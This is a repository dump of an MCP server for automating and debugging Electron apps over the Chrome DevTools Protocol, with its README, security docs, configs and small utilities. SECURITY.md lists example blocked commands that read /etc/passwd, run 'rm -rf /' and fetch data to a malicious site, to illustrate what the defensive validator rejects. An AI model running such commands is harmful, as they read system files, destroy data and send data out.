This is page 1 of 2. Use http://codebase.md/halilural/electron-mcp-server?page={x} to view the full context. # Directory Structure ``` ├── .env.example ├── .gitignore ├── .npmignore ├── .prettierignore ├── .prettierrc ├── assets │ └── demo.mp4 ├── eslint.config.ts ├── ISSUE_TEMPLATE.md ├── LICENSE ├── MCP_USAGE_GUIDE.md ├── mcp-config.json ├── package-lock.json ├── package.json ├── REACT_COMPATIBILITY_ISSUES.md ├── README.md ├── SECURITY_CONFIG.md ├── SECURITY.md ├── src │ ├── handlers.ts │ ├── index.ts │ ├── schemas.ts │ ├── screenshot.ts │ ├── security │ │ ├── audit.ts │ │ ├── config.ts │ │ ├── manager.ts │ │ ├── sandbox.ts │ │ └── validation.ts │ ├── tools.ts │ └── utils │ ├── electron-commands.ts │ ├── electron-connection.ts │ ├── electron-discovery.ts │ ├── electron-enhanced-commands.ts │ ├── electron-input-commands.ts │ ├── electron-logs.ts │ ├── electron-process.ts │ ├── logger.ts │ ├── logs.ts │ └── project.ts ├── tests │ ├── conftest.ts │ ├── integration │ │ ├── electron-security-integration.test.ts │ │ └── react-compatibility │ │ ├── react-test-app.html │ │ ├── README.md │ │ └── test-react-electron.cjs │ ├── support │ │ ├── config.ts │ │ ├── helpers.ts │ │ └── setup.ts │ └── unit │ └── security-manager.test.ts ├── tsconfig.json ├── vitest.config.ts └── webpack.config.ts ``` # Files -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- ``` { "semi": true, "singleQuote": true, "printWidth": 100, "tabWidth": 2, "trailingComma": "all" } ``` -------------------------------------------------------------------------------- /.prettierignore: -------------------------------------------------------------------------------- ``` # Dependencies node_modules/ # Build outputs dist/ build/ # Coverage reports coverage/ # Logs *.log logs/ # OS files .DS_Store Thumbs.db # IDE files .vscode/ .idea/ # Package manager files package-lock.json yarn.lock pnpm-lock.yaml ``` -------------------------------------------------------------------------------- /.npmignore: -------------------------------------------------------------------------------- ``` # Source files (only publish dist) src/ tsconfig.json vitest.config.ts # Development files .vscode/ test/ example-app example-app-2 tools/ # Test and debug files test-*.js *-test.js *-debug.js # CI/CD .github/ # IDE .idea/ *.swp *.swo # OS .DS_Store Thumbs.db # Logs *.log npm-debug.log* # Dependencies node_modules/ # Coverage coverage/ ``` -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- ``` # Electron MCP Server Environment Configuration # Copy this file to .env and configure the values for your environment # ============================================================================= # LOGGING CONFIGURATION # ============================================================================= # Set the log level for the MCP server (used in src/utils/logger.ts) # Options: DEBUG, INFO, WARN, ERROR # Default: INFO if not set MCP_LOG_LEVEL=INFO # ============================================================================= # SECURITY CONFIGURATION (REQUIRED) # ============================================================================= # Security level for the MCP server (used in src/security/config.ts) # Options: strict, balanced, permissive, development # Default: balanced if not set # - strict: Maximum security - blocks most function calls # - balanced: Default - allows safe UI interactions # - permissive: Minimal restrictions - allows more operations # - development: Least restrictive - for development/testing only SECURITY_LEVEL=balanced # Encryption key for screenshot data (OPTIONAL - fallback available) # If not set, a temporary key will be generated for each session # For production use, set this to a secure 32-byte hex string # Must be at least 32 characters long for security # Generate a secure key with: openssl rand -hex 32 # WARNING: Without a persistent key, encrypted screenshots cannot be decrypted after restart SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string-here ``` -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- ``` # Logs logs *.log npm-debug.log* yarn-debug.log* yarn-error.log* lerna-debug.log* .pnpm-debug.log* # Diagnostic reports (https://nodejs.org/api/report.html) report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json # Runtime data pids *.pid *.seed *.pid.lock # Directory for instrumented libs generated by jscoverage/JSCover lib-cov # Coverage directory used by tools like istanbul coverage *.lcov # nyc test coverage .nyc_output # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) .grunt # Bower dependency directory (https://bower.io/) bower_components # node-waf configuration .lock-wscript # Compiled binary addons (https://nodejs.org/api/addons.html) build/Release # Dependency directories node_modules/ jspm_packages/ # Snowpack dependency directory (https://snowpack.dev/) web_modules/ # TypeScript cache *.tsbuildinfo # Optional npm cache directory .npm # Optional eslint cache .eslintcache # Optional stylelint cache .stylelintcache # Microbundle cache .rpt2_cache/ .rts2_cache_cjs/ .rts2_cache_es/ .rts2_cache_umd/ # Optional REPL history .node_repl_history # Output of 'npm pack' *.tgz # Yarn Integrity file .yarn-integrity # dotenv environment variable files .env .env.development.local .env.test.local .env.production.local .env.local # parcel-bundler cache (https://parceljs.org/) .cache .parcel-cache # Next.js build output .next out # Nuxt.js build / generate output .nuxt dist # Gatsby files .cache/ # Comment in the public line in if your project uses Gatsby and not Next.js # https://nextjs.org/blog/next-9-1#public-directory-support # public # vuepress build output .vuepress/dist # vuepress v2.x temp and cache directory .temp .cache # Docusaurus cache and generated files .docusaurus # Serverless directories .serverless/ # FuseBox cache .fusebox/ # DynamoDB Local files .dynamodb/ # TernJS port file .tern-port # Stores VSCode versions used for testing VSCode extensions .vscode-test # yarn v2 .yarn/cache .yarn/unplugged .yarn/build-state.yml .yarn/install-state.gz .pnp.* # Build output dist/ build/ lib/ # TypeScript output *.d.ts # Electron specific out/ dist_electron/ # Testing test-results/ coverage/ .nyc_output/ test-temp/ temp/ # Example App example-app example-app-2 # IDE .vscode/ .idea/ *.swp *.swo # OS .DS_Store Thumbs.db ``` -------------------------------------------------------------------------------- /tests/integration/react-compatibility/README.md: -------------------------------------------------------------------------------- ```markdown # React Compatibility Tests This directory contains test files for validating React compatibility with the Electron MCP Server. ## Files ### `react-test-app.html` A comprehensive React test application that demonstrates: - Click command compatibility with `preventDefault()` behavior - Form input detection and filling capabilities - Various React event handling patterns - Multiple input types (text, email, password, number, textarea) ### `test-react-electron.cjs` Electron wrapper application that: - Loads the React test app in an Electron window - Enables remote debugging on port 9222 for MCP server connection - Provides a controlled test environment ## Usage ### Running the Test App ```bash # From the project root cd tests/integration/react-compatibility electron test-react-electron.cjs ``` ### Testing with MCP Server Once the Electron app is running, you can test MCP commands: ```bash # Test click commands echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node ../../../dist/index.js # Test form input filling echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node ../../../dist/index.js # Get page structure echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node ../../../dist/index.js ``` ## Test Scenarios ### Issue 1: Click Commands with preventDefault - **React Button (preventDefault)**: Tests click commands on React components that call `e.preventDefault()` - **Normal Button**: Tests click commands without preventDefault - **Stop Propagation Button**: Tests click commands with `e.stopPropagation()` ### Issue 3: Form Input Detection - **Username Field**: Text input with label and placeholder - **Email Field**: Email input type validation - **Password Field**: Password input type - **Age Field**: Number input type - **Comments Field**: Textarea element All form inputs test the scoring algorithm in `electron-input-commands.ts` for React-rendered elements. ## Expected Results ✅ All click commands should work (preventDefault fix applied) ✅ All form inputs should be detected and fillable ✅ Page structure should show all React-rendered elements ✅ No "Click events were cancelled by the page" errors ✅ No "No suitable input found" errors ``` -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- ```markdown # Electron MCP Server [](https://github.com/halilural/electron-mcp-server/blob/master/LICENSE) [](https://www.npmjs.com/package/electron-mcp-server) [](https://modelcontextprotocol.io) A powerful Model Context Protocol (MCP) server that provides comprehensive Electron application automation, debugging, and observability capabilities. Supercharge your Electron development workflow with AI-powered automation through Chrome DevTools Protocol integration. ## Demo See the Electron MCP Server in action: [](https://vimeo.com/1104937830) **[🎬 Watch Full Demo on Vimeo](https://vimeo.com/1104937830)** *Watch how easy it is to automate Electron applications with AI-powered MCP commands.* ## 🎯 What Makes This Special Transform your Electron development experience with **AI-powered automation**: - **🔄 Real-time UI Automation**: Click buttons, fill forms, and interact with any Electron app programmatically - **📸 Visual Debugging**: Take screenshots and capture application state without interrupting development - **🔍 Deep Inspection**: Extract DOM elements, application data, and performance metrics in real-time - **⚡ DevTools Protocol Integration**: Universal compatibility with any Electron app - no modifications required - **🚀 Development Observability**: Monitor logs, system info, and application behavior seamlessly ## 🔒 Security & Configuration **Configurable security levels** to balance safety with functionality: ### Security Levels - **🔒 STRICT**: Maximum security for production environments - **⚖️ BALANCED**: Default security with safe UI interactions (recommended) - **🔓 PERMISSIVE**: More functionality for trusted environments - **🛠️ DEVELOPMENT**: Minimal restrictions for development/testing ### Environment Configuration Configure the security level and other settings through your MCP client configuration: **VS Code MCP Settings:** ```json { "mcp": { "servers": { "electron": { "command": "npx", "args": ["-y", "electron-mcp-server"], "env": { "SECURITY_LEVEL": "balanced", "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string" } } } } } ``` **Claude Desktop Configuration:** ```json { "mcpServers": { "electron": { "command": "npx", "args": ["-y", "electron-mcp-server"], "env": { "SECURITY_LEVEL": "balanced", "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string" } } } } ``` **Alternative: Local .env file (for development):** ```bash # Create .env file in your project directory SECURITY_LEVEL=balanced SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string ``` **Security Level Behaviors:** | Level | UI Interactions | DOM Queries | Property Access | Assignments | Function Calls | Risk Threshold | |-------|-----------------|-------------|-----------------|-------------|----------------|----------------| | `strict` | ❌ Blocked | ❌ Blocked | ✅ Allowed | ❌ Blocked | ❌ None allowed | Low | | `balanced` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ❌ Blocked | ✅ Safe UI functions | Medium | | `permissive` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Extended UI functions | High | | `development` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ All functions | Critical | **Environment Setup:** 1. Copy `.env.example` to `.env` 2. Set `SECURITY_LEVEL` to your desired level 3. Configure other security settings as needed ```bash cp .env.example .env # Edit .env and set SECURITY_LEVEL=balanced ``` ### Secure UI Interaction Commands Instead of raw JavaScript eval, use these secure commands: ```javascript // ✅ Secure button clicking { "command": "click_by_text", "args": { "text": "Create New Encyclopedia" } } // ✅ Secure element selection { "command": "click_by_selector", "args": { "selector": "button[title='Create']" } } // ✅ Secure keyboard shortcuts { "command": "send_keyboard_shortcut", "args": { "text": "Ctrl+N" } } // ✅ Secure navigation { "command": "navigate_to_hash", "args": { "text": "create" } } ``` See [SECURITY_CONFIG.md](./SECURITY_CONFIG.md) for detailed security documentation. ## 🎯 Proper MCP Usage Guide ### ⚠️ Critical: Argument Structure **The most common mistake** when using this MCP server is incorrect argument structure for the `send_command_to_electron` tool. #### ❌ Wrong (causes "selector is empty" errors): ```javascript { "command": "click_by_selector", "args": "button.submit-btn" // ❌ Raw string - WRONG! } ``` #### ✅ Correct: ```javascript { "command": "click_by_selector", "args": { "selector": "button.submit-btn" // ✅ Object with selector property } } ``` ### 📋 Command Argument Reference | Command | Required Args | Example | | --------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------ | | `click_by_selector` | `{"selector": "css-selector"}` | `{"selector": "button.primary"}` | | `click_by_text` | `{"text": "button text"}` | `{"text": "Submit"}` | | `fill_input` | `{"value": "text", "selector": "..."}` or `{"value": "text", "placeholder": "..."}` | `{"placeholder": "Enter name", "value": "John"}` | | `send_keyboard_shortcut` | `{"text": "key combination"}` | `{"text": "Ctrl+N"}` | | `eval` | `{"code": "javascript"}` | `{"code": "document.title"}` | | `get_title`, `get_url`, `get_body_text` | No args needed | `{}` or omit args | ### 🔄 Recommended Workflow 1. **Inspect**: Start with `get_page_structure` or `debug_elements` 2. **Target**: Use specific selectors or text-based targeting 3. **Interact**: Use the appropriate command with correct argument structure 4. **Verify**: Take screenshots or check page state ```javascript // Step 1: Understand the page { "command": "get_page_structure" } // Step 2: Click button using text (most reliable) { "command": "click_by_text", "args": { "text": "Create New Encyclopedia" } } // Step 3: Fill form field { "command": "fill_input", "args": { "placeholder": "Enter encyclopedia name", "value": "AI and Machine Learning" } } // Step 4: Submit with selector { "command": "click_by_selector", "args": { "selector": "button[type='submit']" } } ``` ### 🐛 Troubleshooting Common Issues | Error | Cause | Solution | | -------------------------------- | -------------------------------- | ------------------------------ | | "The provided selector is empty" | Passing string instead of object | Use `{"selector": "..."}` | | "Element not found" | Wrong selector | Use `get_page_structure` first | | "Command blocked" | Security restriction | Check security level settings | | "Click prevented - too soon" | Rapid consecutive clicks | Wait before retrying | ## 🛠️ Security Features **Enterprise-grade security** built for safe AI-powered automation: - **🔒 Sandboxed Execution**: All code runs in isolated environments with strict resource limits - **🔍 Input Validation**: Advanced static analysis detects and blocks dangerous code patterns - **📝 Comprehensive Auditing**: Encrypted logs track all operations with full traceability - **🖼️ Secure Screenshots**: Encrypted screenshot data with clear user notifications - **⚠️ Risk Assessment**: Automatic threat detection with configurable security thresholds - **🚫 Zero Trust**: Dangerous functions like `eval`, file system access, and network requests are blocked by default > **Safety First**: Every command is analyzed, validated, and executed in a secure sandbox before reaching your application. ## �🚀 Key Features ### 🎮 Application Control & Automation - **Launch & Manage**: Start, stop, and monitor Electron applications with full lifecycle control - **Interactive Automation**: Execute JavaScript code directly in running applications via WebSocket - **UI Testing**: Automate button clicks, form interactions, and user workflows - **Process Management**: Track PIDs, monitor resource usage, and handle graceful shutdowns ### 📊 Advanced Observability - **Screenshot Capture**: Non-intrusive visual snapshots using Playwright and Chrome DevTools Protocol - **Real-time Logs**: Stream application logs (main process, renderer, console) with filtering - **Window Information**: Get detailed window metadata, titles, URLs, and target information - **System Monitoring**: Track memory usage, uptime, and performance metrics ### 🛠️ Development Productivity - **Universal Compatibility**: Works with any Electron app without requiring code modifications - **DevTools Integration**: Leverage Chrome DevTools Protocol for powerful debugging capabilities - **Build Automation**: Cross-platform building for Windows, macOS, and Linux - **Environment Management**: Clean environment handling and debugging port configuration ## 📦 Installation ### VS Code Integration (Recommended) [](https://insiders.vscode.dev/redirect/mcp/install?name=electron&config=%7B%22command%22%3A%22npx%22%2C%22args%22%3A%5B%22-y%22%2C%22electron-mcp-server%22%5D%7D) Add to your VS Code MCP settings: ```json { "mcp": { "servers": { "electron": { "command": "npx", "args": ["-y", "electron-mcp-server"], "env": { "SECURITY_LEVEL": "balanced", "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here" } } } } } ``` ### Claude Desktop Integration Add to `~/Library/Application Support/Claude/claude_desktop_config.json`: ```json { "mcpServers": { "electron": { "command": "npx", "args": ["-y", "electron-mcp-server"], "env": { "SECURITY_LEVEL": "balanced", "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here" } } } } ``` ### Global Installation ```bash npm install -g electron-mcp-server ``` ## 🔧 Available Tools ### `launch_electron_app` Launch an Electron application with debugging capabilities. ```javascript { "appPath": "/path/to/electron-app", "devMode": true, // Enables Chrome DevTools Protocol on port 9222 "args": ["--enable-logging", "--dev"] } ``` **Returns**: Process ID and launch confirmation ### `get_electron_window_info` Get comprehensive window and target information via Chrome DevTools Protocol. ```javascript { "includeChildren": true // Include child windows and DevTools instances } ``` **Returns**: - Window IDs, titles, URLs, and types - DevTools Protocol target information - Platform details and process information ### `take_screenshot` Capture high-quality screenshots using Playwright and Chrome DevTools Protocol. ```javascript { "outputPath": "/path/to/screenshot.png", // Optional: defaults to temp directory "windowTitle": "My App" // Optional: target specific window } ``` **Features**: - Non-intrusive capture (doesn't bring window to front) - Works with any Electron app - Fallback to platform-specific tools if needed ### `send_command_to_electron` Execute JavaScript commands in the running Electron application via WebSocket. ```javascript { "command": "eval", // Built-in commands: eval, get_title, get_url, click_button, console_log "args": { "code": "document.querySelector('button').click(); 'Button clicked!'" } } ``` **Enhanced UI Interaction Commands**: - `find_elements`: Analyze all interactive UI elements with their properties and positions - `click_by_text`: Click elements by their visible text, aria-label, or title (more reliable than selectors) - `fill_input`: Fill input fields by selector, placeholder text, or associated label text - `select_option`: Select dropdown options by value or visible text - `get_page_structure`: Get organized overview of all page elements (buttons, inputs, selects, links) - `get_title`: Get document title - `get_url`: Get current URL - `get_body_text`: Extract visible text content - `click_button`: Click buttons by CSS selector (basic method) - `console_log`: Send console messages - `eval`: Execute custom JavaScript code **Recommended workflow**: Use `get_page_structure` first to understand available elements, then use specific interaction commands like `click_by_text` or `fill_input`. ### `read_electron_logs` Stream application logs from main process, renderer, and console. ```javascript { "logType": "all", // Options: "all", "main", "renderer", "console" "lines": 50, // Number of recent lines "follow": false // Stream live logs } ``` ### `close_electron_app` Gracefully close the Electron application. ```javascript { "force": false // Force kill if unresponsive } ``` ### `build_electron_app` Build Electron applications for distribution. ```javascript { "projectPath": "/path/to/project", "platform": "darwin", // win32, darwin, linux "arch": "x64", // x64, arm64, ia32 "debug": false } ``` ## 💡 Usage Examples ### Smart UI Interaction Workflow ```javascript // 1. First, understand the page structure await send_command_to_electron({ command: 'get_page_structure', }); // 2. Click a button by its text (much more reliable than selectors) await send_command_to_electron({ command: 'click_by_text', args: { text: 'Login', // Finds buttons containing "Login" in text, aria-label, or title }, }); // 3. Fill inputs by their label or placeholder text await send_command_to_electron({ command: 'fill_input', args: { text: 'username', // Finds input with label "Username" or placeholder "Enter username" value: '[email protected]', }, }); await send_command_to_electron({ command: 'fill_input', args: { text: 'password', value: 'secretpassword', }, }); // 4. Select dropdown options by visible text await send_command_to_electron({ command: 'select_option', args: { text: 'country', // Finds select with label containing "country" value: 'United States', // Selects option with this text }, }); // 5. Take a screenshot to verify the result await take_screenshot(); ``` ### Advanced Element Detection ```javascript // Find all interactive elements with detailed information await send_command_to_electron({ command: 'find_elements', }); // This returns detailed info about every clickable element and input: // { // "type": "clickable", // "text": "Submit Form", // "id": "submit-btn", // "className": "btn btn-primary", // "ariaLabel": "Submit the registration form", // "position": { "x": 100, "y": 200, "width": 120, "height": 40 }, // "visible": true // } ``` ### Automated UI Testing ```javascript // Launch app in development mode await launch_electron_app({ appPath: '/path/to/app', devMode: true, }); // Take a screenshot await take_screenshot(); // Click a button programmatically await send_command_to_electron({ command: 'eval', args: { code: "document.querySelector('#submit-btn').click()", }, }); // Verify the result await send_command_to_electron({ command: 'get_title', }); ``` ### Development Debugging ```javascript // Get window information const windowInfo = await get_electron_window_info(); // Extract application data await send_command_to_electron({ command: 'eval', args: { code: 'JSON.stringify(window.appState, null, 2)', }, }); // Monitor logs await read_electron_logs({ logType: 'all', lines: 100, }); ``` ### Performance Monitoring ```javascript // Get system information await send_command_to_electron({ command: 'eval', args: { code: '({memory: performance.memory, timing: performance.timing})', }, }); // Take periodic screenshots for visual regression testing await take_screenshot({ outputPath: '/tests/screenshots/current.png', }); ``` ## 🏗️ Architecture ### Chrome DevTools Protocol Integration - **Universal Compatibility**: Works with any Electron app that has remote debugging enabled - **Real-time Communication**: WebSocket-based command execution with the renderer process - **No App Modifications**: Zero changes required to target applications ### Process Management - **Clean Environment**: Handles `ELECTRON_RUN_AS_NODE` and other environment variables - **Resource Tracking**: Monitors PIDs, memory usage, and application lifecycle - **Graceful Shutdown**: Proper cleanup and process termination ### Cross-Platform Support - **macOS**: Uses Playwright CDP with screencapture fallback - **Windows**: PowerShell-based window detection and capture - **Linux**: X11 window management (planned) ## 🧪 Development ### Prerequisites - Node.js 18+ - TypeScript 4.5+ - **Electron** - Required for running and testing Electron applications ```bash # Install Electron globally (recommended) npm install -g electron # Or install locally in your project npm install electron --save-dev ``` ### Target Application Setup For the MCP server to work with your Electron application, you need to enable remote debugging. Add this code to your Electron app's main process: ```javascript const { app } = require('electron'); const isDev = process.env.NODE_ENV === 'development' || process.argv.includes('--dev'); // Enable remote debugging in development mode if (isDev) { app.commandLine.appendSwitch('remote-debugging-port', '9222'); } ``` **Alternative approaches:** ```bash # Launch your app with debugging enabled electron . --remote-debugging-port=9222 # Or via npm script npm run dev -- --remote-debugging-port=9222 ``` **Note:** The MCP server automatically scans ports 9222-9225 to detect running Electron applications with remote debugging enabled. ### Setup ```bash git clone https://github.com/halilural/electron-mcp-server.git cd electron-mcp-server npm install npm run build # Run tests npm test # Development mode with auto-rebuild npm run dev ``` ### Testing The project includes comprehensive test files for React compatibility: ```bash # Run React compatibility tests cd tests/integration/react-compatibility electron test-react-electron.js ``` See [`tests/integration/react-compatibility/README.md`](tests/integration/react-compatibility/README.md) for detailed testing instructions and scenarios. ### React Compatibility This MCP server has been thoroughly tested with React applications and handles common React patterns correctly: - **✅ React Event Handling**: Properly handles `preventDefault()` in click handlers - **✅ Form Input Detection**: Advanced scoring algorithm works with React-rendered inputs - **✅ Component Interaction**: Compatible with React components, hooks, and state management ### Project Structure ``` src/ ├── handlers.ts # MCP tool handlers ├── index.ts # Server entry point ├── tools.ts # Tool definitions ├── screenshot.ts # Screenshot functionality ├── utils/ │ ├── process.ts # Process management & DevTools Protocol │ ├── logs.ts # Log management │ └── project.ts # Project scaffolding └── schemas/ # JSON schemas for validation ``` ## 🔐 Security & Best Practices - **Sandboxed Execution**: All JavaScript execution is contained within the target Electron app - **Path Validation**: Only operates on explicitly provided application paths - **Process Isolation**: Each launched app runs in its own process space - **No Persistent Access**: No permanent modifications to target applications ## 🤝 Contributing We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details. **Before reporting issues**: Please use the standardized [`ISSUE_TEMPLATE.md`](ISSUE_TEMPLATE.md) for proper bug reporting format. For React compatibility problems or similar technical issues, also review [`REACT_COMPATIBILITY_ISSUES.md`](REACT_COMPATIBILITY_ISSUES.md) for detailed debugging examples, including proper command examples, error outputs, and reproduction steps. 1. Fork the repository 2. Create a feature branch (`git checkout -b feature/awesome-feature`) 3. Commit your changes (`git commit -m 'Add awesome feature'`) 4. Push to the branch (`git push origin feature/awesome-feature`) 5. Open a Pull Request ## 📄 License MIT License - see [LICENSE](LICENSE) file for details. ## ☕ Support If this project helped you, consider buying me a coffee! ☕ [](https://ko-fi.com/halilural) Your support helps me maintain and improve this project. Thank you! 🙏 ## 🙏 Acknowledgments - **[Model Context Protocol](https://modelcontextprotocol.io)** - Standardized AI-application interface - **[Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)** - Universal debugging interface - **[Playwright](https://playwright.dev)** - Reliable browser automation - **[Electron](https://electronjs.org)** - Cross-platform desktop applications ## 🔗 Links - **[GitHub Repository](https://github.com/halilural/electron-mcp-server)** - **[NPM Package](https://www.npmjs.com/package/electron-mcp-server)** - **[Model Context Protocol](https://modelcontextprotocol.io)** - **[Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/)** - **[Issue Template](./ISSUE_TEMPLATE.md)** - Standardized bug reporting format - **[React Compatibility Issues Documentation](./REACT_COMPATIBILITY_ISSUES.md)** - Technical debugging guide for React applications --- **Ready to supercharge your Electron development with AI-powered automation?** Install the MCP server and start building smarter workflows today! 🚀 ``` -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- ```markdown # Security Implementation This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands. ## 🛡️ Security Features ### 1. Code Execution Isolation - **Sandboxed Environment**: All JavaScript code execution is isolated using a secure Node.js subprocess - **Resource Limits**: - Maximum execution time: 5 seconds - Memory limit: 50MB - No filesystem access unless explicitly needed - No network access by default - **Global Restriction**: Dangerous globals like `process`, `require`, `fs` are disabled in the sandbox ### 2. Input Validation & Sanitization - **Static Analysis**: Commands are analyzed for dangerous patterns before execution - **Blacklisted Functions**: Blocks dangerous functions like `eval`, `Function`, `require`, etc. - **Pattern Detection**: Detects potential XSS, injection, and obfuscation attempts - **Risk Assessment**: All commands are assigned a risk level (low/medium/high/critical) - **Command Sanitization**: Dangerous content is escaped or removed ### 3. Comprehensive Audit Logging - **Encrypted Logs**: All execution attempts are logged with encrypted sensitive data - **Metadata Tracking**: Logs include timestamps, risk levels, execution times, and outcomes - **Security Events**: Failed attempts and blocked commands are specially flagged - **Performance Metrics**: Track execution patterns for anomaly detection ### 4. Secure Screenshot Handling - **Encryption**: Screenshot data is encrypted before storage - **User Notification**: Clear logging when screenshots are taken - **Data Minimization**: Screenshots are only stored temporarily - **Secure Transmission**: Base64 data is transmitted over secure channels ## 🚨 Blocked Operations The following operations are automatically blocked for security: ### Critical Risk Operations - Direct `eval()` or `Function()` calls - File system access (`fs`, `readFile`, `writeFile`) - Process control (`spawn`, `exec`, `kill`) - Network requests in user code - Module loading (`require`, `import`) - Global object manipulation ### High Risk Patterns - Excessive string concatenation (potential obfuscation) - Encoded content (`\\x`, `\\u` sequences) - Script injection patterns - Cross-site scripting attempts ## ⚙️ Configuration Security settings can be configured via environment variables: ```bash # Encryption SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here ``` ## 📊 Security Metrics The system tracks various security metrics: - **Total Requests**: Number of commands processed - **Blocked Requests**: Commands blocked due to security concerns - **Risk Distribution**: Breakdown by risk levels - **Average Execution Time**: Performance monitoring - **Error Rate**: Failed execution percentage ## 🔍 Example Security Validations ### ✅ Safe Commands ```javascript // UI interactions document.querySelector('#button').click() // Data extraction document.getElementById('title').innerText // Simple DOM manipulation element.style.display = 'none' ``` ### ❌ Blocked Commands ```javascript // File system access require('fs').readFileSync('/etc/passwd') // Code execution eval('malicious code') // Process control require('child_process').exec('rm -rf /') // Network access fetch('http://malicious-site.com/steal-data') ``` ## 🛠️ Development Guidelines When extending the MCP server: 1. **Always validate input** before processing 2. **Log security events** for audit trails 3. **Test with malicious inputs** to verify security 4. **Follow principle of least privilege** 5. **Keep security dependencies updated** ## 📝 Security Audit Trail All security events are logged to `logs/security/` with the following information: - Timestamp and session ID - Command content (encrypted if sensitive) - Risk assessment results - Execution outcome - User context (if available) - Performance metrics **Note**: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended. ``` -------------------------------------------------------------------------------- /src/utils/logs.ts: -------------------------------------------------------------------------------- ```typescript import { getElectronLogs } from './electron-process'; // Helper function to read Electron logs export async function readElectronLogs( logType: string = 'all', lines: number = 100, ): Promise<string[]> { const allLogs = getElectronLogs(); const relevantLogs = allLogs .filter((log) => { if (logType === 'all') return true; if (logType === 'console') return log.includes('[Console]'); if (logType === 'main') return log.includes('[Main]'); if (logType === 'renderer') return log.includes('[Renderer]'); return true; }) .slice(-lines); return relevantLogs; } ``` -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- ```json { "compilerOptions": { "target": "ES2022", "module": "ESNext", "moduleResolution": "Node", "esModuleInterop": true, "allowSyntheticDefaultImports": true, "strict": true, "skipLibCheck": true, "forceConsistentCasingInFileNames": true, "declaration": true, "outDir": "./dist", "rootDir": "./src", "resolveJsonModule": true, "allowImportingTsExtensions": false, "noEmit": false, "moduleDetection": "force", "baseUrl": "./src", "paths": { "*": ["*"] } }, "include": ["src/**/*"], "exclude": ["node_modules", "dist", "**/*.test.ts"] } ``` -------------------------------------------------------------------------------- /tests/conftest.ts: -------------------------------------------------------------------------------- ```typescript /** * Global test configuration - similar to Python's conftest.py * This file contains global test setup, fixtures, and configuration * that applies to all test files in the project. */ import { beforeAll, afterAll } from 'vitest'; import { GlobalTestSetup } from './support/setup'; // Global test setup that runs once before all tests beforeAll(async () => { await GlobalTestSetup.initialize(); }); // Global test cleanup that runs once after all tests afterAll(async () => { await GlobalTestSetup.cleanup(); }); // Export commonly used test utilities for easy importing export { TestHelpers } from './support/helpers'; export { TEST_CONFIG } from './support/config'; export type { TestElectronApp } from './support/helpers'; ``` -------------------------------------------------------------------------------- /webpack.config.ts: -------------------------------------------------------------------------------- ```typescript import path from 'path'; import { Configuration } from 'webpack'; import nodeExternals from 'webpack-node-externals'; const config: Configuration = { target: 'node', mode: 'production', entry: './src/index.ts', output: { path: path.resolve(process.cwd(), 'dist'), filename: 'index.js', clean: true, }, resolve: { extensions: ['.ts', '.js'], modules: ['node_modules', 'src'], }, externals: [nodeExternals({ allowlist: [/@modelcontextprotocol\/.*/] })], module: { rules: [ { test: /\.ts$/, use: 'ts-loader', exclude: /node_modules/, }, ], }, optimization: { minimize: false, // Keep readable for debugging }, devtool: 'source-map', }; export default config; ``` -------------------------------------------------------------------------------- /src/utils/project.ts: -------------------------------------------------------------------------------- ```typescript import { exec } from 'child_process'; import { promisify } from 'util'; import { logger } from './logger'; // Helper function to check if Electron is installed (global or local) export async function isElectronInstalled(appPath?: string): Promise<boolean> { try { const execAsync = promisify(exec); if (appPath) { // Check for local Electron installation in the project try { await execAsync('npm list electron', { cwd: appPath }); return true; } catch { // If local check fails, try global logger.warn('Local Electron not found, checking global installation'); } } // Check for global Electron installation await execAsync('electron --version'); return true; } catch (error) { logger.error('Electron not found:', error); return false; } } ``` -------------------------------------------------------------------------------- /eslint.config.ts: -------------------------------------------------------------------------------- ```typescript import js from '@eslint/js'; import globals from 'globals'; import tseslint from 'typescript-eslint'; export default tseslint.config( { files: ['**/*.{js,mjs,cjs,ts,mts,cts}'], languageOptions: { globals: { ...globals.node, ...globals.es2022, }, parserOptions: { ecmaVersion: 2022, sourceType: 'module', }, }, }, js.configs.recommended, ...tseslint.configs.recommended, { rules: { '@typescript-eslint/no-explicit-any': 'off', '@typescript-eslint/no-unused-vars': [ 'error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrorsIgnorePattern: '^_', }, ], 'no-case-declarations': 'off', 'prefer-const': 'error', 'no-var': 'error', 'no-console': 'warn', }, }, { files: ['test/**/*'], rules: { '@typescript-eslint/no-explicit-any': 'off', 'no-console': 'off', }, }, { ignores: ['dist/**', 'coverage/**', 'node_modules/**', '*.config.js'], }, ); ``` -------------------------------------------------------------------------------- /src/utils/electron-process.ts: 